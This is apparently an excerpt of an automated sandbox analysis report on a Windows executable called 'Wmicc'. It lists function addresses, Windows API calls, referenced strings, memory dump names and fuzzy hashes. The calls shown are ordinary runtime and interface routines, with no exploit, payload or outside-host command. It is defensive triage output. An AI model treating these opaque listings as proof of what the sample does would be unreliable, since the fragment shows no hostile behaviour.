Part of subcall function 00411402: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00413216,00000009,00000000,00000000,00000001,0040F007,00000001,00000074,?,?,00000000,00000001), ref: 0041143F
Part of subcall function 00411402: EnterCriticalSection.KERNEL32(?,?,?,00413216,00000009,00000000,00000000,00000001,0040F007,00000001,00000074,?,?,00000000,00000001), ref: 0041145A

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: 63f55483c15de6d896467ab7086dea6b1cf085646f7da750b7ce51cfdb618376
Instruction ID: 167101d0b98129de73b071dabd7ddefdf67ddcd354e3b1de11ac5b4e53b24557
Opcode Fuzzy Hash: 63f55483c15de6d896467ab7086dea6b1cf085646f7da750b7ce51cfdb618376
Instruction Fuzzy Hash: ED21A631A40204EBD710DF69DC82BEE77A4FB00B64F108226F810FB2D1C778A9819A59

Function 004194D4 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringA.USER32(?,?,?,?), ref: 004194EB

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 7ba2d75e57bd25754ddb04c212b94d1185e641906a79724d5004486571de1a29
Instruction ID: 6fc486265bf97debed47dfceac2e20907d2d97ce5a4aeb9fc1be0ace0f025096
Opcode Fuzzy Hash: 7ba2d75e57bd25754ddb04c212b94d1185e641906a79724d5004486571de1a29
Instruction Fuzzy Hash: 29D0A7764093629BC711DFA19C14DCFBFA8BF54310B048C4EF58083211C324D854C765

Function 00407910 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.KERNELBASE(00000000,00401389,00000001,00000000,00000000,80000004,?,?,00000000,?,?,?,-00000004), ref: 00407915

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 81934adaf5cc696847bdacafda245e53ed51ac1ecb5b9ad7847a73787aa9d204
Instruction ID: e2bc819a0a389aa541620e5b5254a0cfcf56679a286728442dc17abd6d000c09
Opcode Fuzzy Hash: 81934adaf5cc696847bdacafda245e53ed51ac1ecb5b9ad7847a73787aa9d204
Instruction Fuzzy Hash: AAA002B9E04202ABCE00DBB6DA5C88A7BBCAB94341B008994B549C2020C634D440CB16

Function 00407460 Relevance: 1.3, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(0040743C), ref: 00407460

Part of subcall function 0041B683: __EH_prolog.LIBCMT ref: 0041B688

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: H_prologHeapProcess
String ID:
API String ID: 1838430160-0
Opcode ID: 58ecc6e647a88c957a13c5d58f7b640a00cff5cf5f66d181e0f504e0b42cf900
Instruction ID: 334e2ed5d1870f5783a34ded12fe244db866ccff1b65d56f0411cb2a74783a50
Opcode Fuzzy Hash: 58ecc6e647a88c957a13c5d58f7b640a00cff5cf5f66d181e0f504e0b42cf900
Instruction Fuzzy Hash: 43E08C32F042109BD314A769FD49B5232D0EB54300F008036AF09D72A1E279AC82CB9E

Non-executed Functions

Function 00418881 Relevance: 6.0, APIs: 4, Instructions: 38keyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00416865: GetWindowLongA.USER32(?,000000F0), ref: 00416871

GetKeyState.USER32(00000010), ref: 004188A5
GetKeyState.USER32(00000011), ref: 004188AE
GetKeyState.USER32(00000012), ref: 004188B7
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 004188CD

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: 8f05a6c016e20d707a011de74887c27896cfec909181ddb0e6ec4e3e4ada80ad
Instruction ID: 8669290792072e301262d3010dfc9e1f047532d7c6b03c57643ae3cff22551bd
Opcode Fuzzy Hash: 8f05a6c016e20d707a011de74887c27896cfec909181ddb0e6ec4e3e4ada80ad
Instruction Fuzzy Hash: 9AF0A77A78034A25E52032661C42FEB41148F50BD9F814A3FFB01BA1E2CEB9C8825379

Function 0041A014 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 0041A033
LoadResource.KERNEL32(?,00000000), ref: 0041A03B
LockResource.KERNEL32(?), ref: 0041A047

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLock
String ID:
API String ID: 2752051264-0
Opcode ID: 948dcc96e95bf1be8a234ede91a0039e5155fb041938a07206e87dec0a49ca43
Instruction ID: 06da994ed7c0bbdff14cce10a26ce346a5fbc0cbdf182722d6f868ced66bef06
Opcode Fuzzy Hash: 948dcc96e95bf1be8a234ede91a0039e5155fb041938a07206e87dec0a49ca43
Instruction Fuzzy Hash: BF01B93A641B11ABD6345F619C44AE3BB74FF08B60F04881AED4297740D739FC91C76A

Function 0041B5EE Relevance: 43.8, APIs: 12, Strings: 13, Instructions: 47registryclipboardCOMMON

Download Yara Rule

APIs

RegisterClipboardFormatA.USER32(Native), ref: 0041B60C
RegisterClipboardFormatA.USER32(OwnerLink), ref: 0041B615
RegisterClipboardFormatA.USER32(ObjectLink), ref: 0041B61F
RegisterClipboardFormatA.USER32(Embedded Object), ref: 0041B629
RegisterClipboardFormatA.USER32(Embed Source), ref: 0041B633
RegisterClipboardFormatA.USER32(Link Source), ref: 0041B63D
RegisterClipboardFormatA.USER32(Object Descriptor), ref: 0041B647
RegisterClipboardFormatA.USER32(Link Source Descriptor), ref: 0041B651
RegisterClipboardFormatA.USER32(FileName), ref: 0041B65B
RegisterClipboardFormatA.USER32(FileNameW), ref: 0041B665
RegisterClipboardFormatA.USER32(Rich Text Format), ref: 0041B66F
RegisterClipboardFormatA.USER32(RichEdit Text and Objects), ref: 0041B679

Strings

Native, xrefs: 0041B607
Object Descriptor, xrefs: 0041B63F
FileNameW, xrefs: 0041B65D
Link Source Descriptor, xrefs: 0041B649
Embedded Object, xrefs: 0041B621
RichEdit Text and Objects, xrefs: 0041B671
Rich Text Format, xrefs: 0041B667
OwnerLink, xrefs: 0041B60E
ObjectLink, xrefs: 0041B617
Link Source, xrefs: 0041B635
Embed Source, xrefs: 0041B62B
FileName, xrefs: 0041B653
xZW, xrefs: 0041B5F3

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: ClipboardFormatRegister
String ID: Embed Source$Embedded Object$FileName$FileNameW$Link Source$Link Source Descriptor$Native$Object Descriptor$ObjectLink$OwnerLink$Rich Text Format$RichEdit Text and Objects$xZW
API String ID: 1228543026-1941827873
Opcode ID: fd0e312b4081a8872764defee94bcb8c5b952faae5e3a01a2045cddf9c59c932
Instruction ID: be2771a210bebdbb9c40bcb68ac841ce30f52f9d16b01d207bf34ccc440a299d
Opcode Fuzzy Hash: fd0e312b4081a8872764defee94bcb8c5b952faae5e3a01a2045cddf9c59c932
Instruction Fuzzy Hash: E601ADB4E507486A97707F779C09D87BEE0EEC0B103214D2FE49587640D6B8D081CF88

Function 0040A000 Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 426windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,00566718,00000104), ref: 0040A07E
__ftol.LIBCMT ref: 0040A1CE
GetCommandLineA.KERNEL32 ref: 0040A1F4
PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 0040A261
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0040A293
TranslateMessage.USER32(?), ref: 0040A29A
DispatchMessageA.USER32(?), ref: 0040A2A1
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 0040A2B0
wsprintfA.USER32 ref: 0040A4F3
MessageBoxA.USER32(00000000,?,blackmoon,00000010), ref: 0040A50A

Strings

BlackMoon RunTime Error:%s, xrefs: 0040A478
blackmoon, xrefs: 0040A502
ERROR, xrefs: 0040A490

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Message$Peek$CommandDispatchFileLineModuleNameTranslate__ftolwsprintf
String ID: BlackMoon RunTime Error:%s$ERROR$blackmoon
API String ID: 2186951270-532175377
Opcode ID: 4c50d1ce7ab43d0ee52278877dab396ec8649ee9f1488e5bd58f00f7ab22b4a7
Instruction ID: 968e54e2cc1adabb2051afefb58a0709d7b1453c27d0d9c594061a677be5d1b8
Opcode Fuzzy Hash: 4c50d1ce7ab43d0ee52278877dab396ec8649ee9f1488e5bd58f00f7ab22b4a7
Instruction Fuzzy Hash: E9C1163778060456E2349668BC45BFBB780E7D0336F14053BEA05DB2D0D97F99298AAB

Function 0041713D Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 170stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041BC55: TlsGetValue.KERNEL32(?,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB,?,00000000,?,004152CB,00000000,00000000,00000000,00000000), ref: 0041BC94

CallNextHookEx.USER32(?,00000003,?,?), ref: 00417167
GetClassLongA.USER32(?,000000E6), ref: 004171AE
GlobalGetAtomNameA.KERNEL32(?,?,00000005), ref: 004171DA
lstrcmpiA.KERNEL32(?,ime), ref: 004171E9
GetWindowLongA.USER32(?,000000FC), ref: 0041725C
SetWindowLongA.USER32(?,000000FC,00000000), ref: 0041727D

Strings

ime, xrefs: 004171E3
ZW, xrefs: 00417148
AfxOldWndProc423, xrefs: 004172BE, 004172C3, 004172CE, 004172D6, 004172DF

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Long$Window$AtomCallClassGlobalHookNameNextValuelstrcmpi
String ID: AfxOldWndProc423$ime$ZW
API String ID: 3731301195-1320961582
Opcode ID: ab4e610e24bea461dbd11b00f9760d79ddf3e0f9a01029dcbf91994407bfc02b
Instruction ID: fe0a08e4255f56b1910009a3a37cd2bcf8f4317cc29c3e56bac7819afc348515
Opcode Fuzzy Hash: ab4e610e24bea461dbd11b00f9760d79ddf3e0f9a01029dcbf91994407bfc02b
Instruction Fuzzy Hash: 7B51D035504219AFCB119F65DC48BEB7BB9FF08360F10862AFC25A7290D738D981DB98

Function 0040BB3E Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(USER32,?,?,?,0040BC77), ref: 0040BB60
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 0040BB78
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0040BB89
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 0040BB9A
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 0040BBAB
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 0040BBBC
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0040BBCD

Strings

MonitorFromPoint, xrefs: 0040BBA5
MonitorFromRect, xrefs: 0040BB94
GetSystemMetrics, xrefs: 0040BB72
MonitorFromWindow, xrefs: 0040BB83
EnumDisplayMonitors, xrefs: 0040BBB6
GetMonitorInfoA, xrefs: 0040BBC7
USER32, xrefs: 0040BB5B

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-2376520503
Opcode ID: 66e5c471d9a74b94984f61cdf0230010239a44bb481a5dbe32cdbef50c7e7f19
Instruction ID: e829190e575500f82414db5d327a97012afda72734420167171a499d08f0cd67
Opcode Fuzzy Hash: 66e5c471d9a74b94984f61cdf0230010239a44bb481a5dbe32cdbef50c7e7f19
Instruction Fuzzy Hash: 21111C74A09319ABC3159F25BCC696ABBE4F26C741360443FD00CE66A0C77868CAFE58

Function 00418B82 Relevance: 19.7, APIs: 13, Instructions: 174windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00416865: GetWindowLongA.USER32(?,000000F0), ref: 00416871

GetParent.USER32(?), ref: 00418BAD
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 00418BD0
GetWindowRect.USER32(?,?), ref: 00418BE9
GetWindowLongA.USER32(00000000,000000F0), ref: 00418BFC
CopyRect.USER32(?,?), ref: 00418C49
CopyRect.USER32(?,?), ref: 00418C53
GetWindowRect.USER32(00000000,?), ref: 00418C5C
CopyRect.USER32(?,?), ref: 00418C78

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID:
API String ID: 808654186-0
Opcode ID: cb5bbdc1b0e77b830dd05f602f5d2d53d8cf8b54ac6316a93714454c6ba1f2b3
Instruction ID: cf788522d006be2322a3ef1a8147a57b059d0c4795105530c92b7c4d4d4f9d30
Opcode Fuzzy Hash: cb5bbdc1b0e77b830dd05f602f5d2d53d8cf8b54ac6316a93714454c6ba1f2b3
Instruction Fuzzy Hash: 55518371900219AFDF10DBA9DC85EEEBBB9AF44314F15412AF901F3281DB34ED458B68

Function 00419A24 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 172COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00419A29
GetSystemMetrics.USER32(0000002A), ref: 00419ADA
GlobalLock.KERNEL32(?,?), ref: 00419B64
CreateDialogIndirectParamA.USER32(?,?,?,Function_0001986C,00000000), ref: 00419B96

Strings

Helv, xrefs: 00419B0E
MS Shell Dlg, xrefs: 00419AE8
40V, xrefs: 00419AA9
MS Sans Serif, xrefs: 00419AFB

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CreateDialogGlobalH_prologIndirectLockMetricsParamSystem
String ID: 40V$Helv$MS Sans Serif$MS Shell Dlg
API String ID: 2364537584-254766301
Opcode ID: c0c71b41436b3341aac1d7cea9a61d8f7938a3b710976467a7c28c810ec5e842
Instruction ID: 0f3a79282b8e65b44f153de6a54a1098eec712dfd2d2bf33285344587f762a6c
Opcode Fuzzy Hash: c0c71b41436b3341aac1d7cea9a61d8f7938a3b710976467a7c28c810ec5e842
Instruction Fuzzy Hash: 30617D71D0420ADFCF14EFA5D8959EEBBB5BF08304F10443EE505A2291DB389E81CB59

Function 00412D8D Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004201D4,00000001,00000000,00000000,74DEE860,00577E20,?,?,?,0040D426,?,?,?,00000000), ref: 00412DCF
LCMapStringA.KERNEL32(00000000,00000100,004201D0,00000001,00000000,00000000,?,?,0040D426,?,?,?,00000000,00000001), ref: 00412DEB
LCMapStringA.KERNEL32(?,?,?,0040D426,?,?,74DEE860,00577E20,?,?,?,0040D426,?,?,?,00000000), ref: 00412E34
MultiByteToWideChar.KERNEL32(?, ~W,?,0040D426,00000000,00000000,74DEE860,00577E20,?,?,?,0040D426,?,?,?,00000000), ref: 00412E6C
MultiByteToWideChar.KERNEL32(00000000,00000001,?,0040D426,?,00000000,?,?,0040D426,?), ref: 00412EC4
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,0040D426,?), ref: 00412EDA
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,0040D426,?), ref: 00412F0D
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,0040D426,?), ref: 00412F75

Strings

~W, xrefs: 00412E5D, 00412E68

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide
String ID: ~W
API String ID: 352835431-2210336733
Opcode ID: b891d04527fef322471448825482d7341e42e5ce891282c2dfa12e38d4e1f9a0
Instruction ID: 5c18400dc39a6955b7437ce70aa0f3a57f03606d4e69b528c9344a76aaee1781
Opcode Fuzzy Hash: b891d04527fef322471448825482d7341e42e5ce891282c2dfa12e38d4e1f9a0
Instruction Fuzzy Hash: 4A517D31500209EFDF228F95DD45AEF7FB4FB48750F10412AF915A2260D37A8DA2EB68

Function 0040F254 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 0040F2C1
GetStdHandle.KERNEL32(000000F4,0041FF60,00000000,00000000,00000000,?), ref: 0040F397
WriteFile.KERNEL32(00000000), ref: 0040F39E

Strings

XBHB, xrefs: 0040F26F
Runtime Error!Program: , xrefs: 0040F327
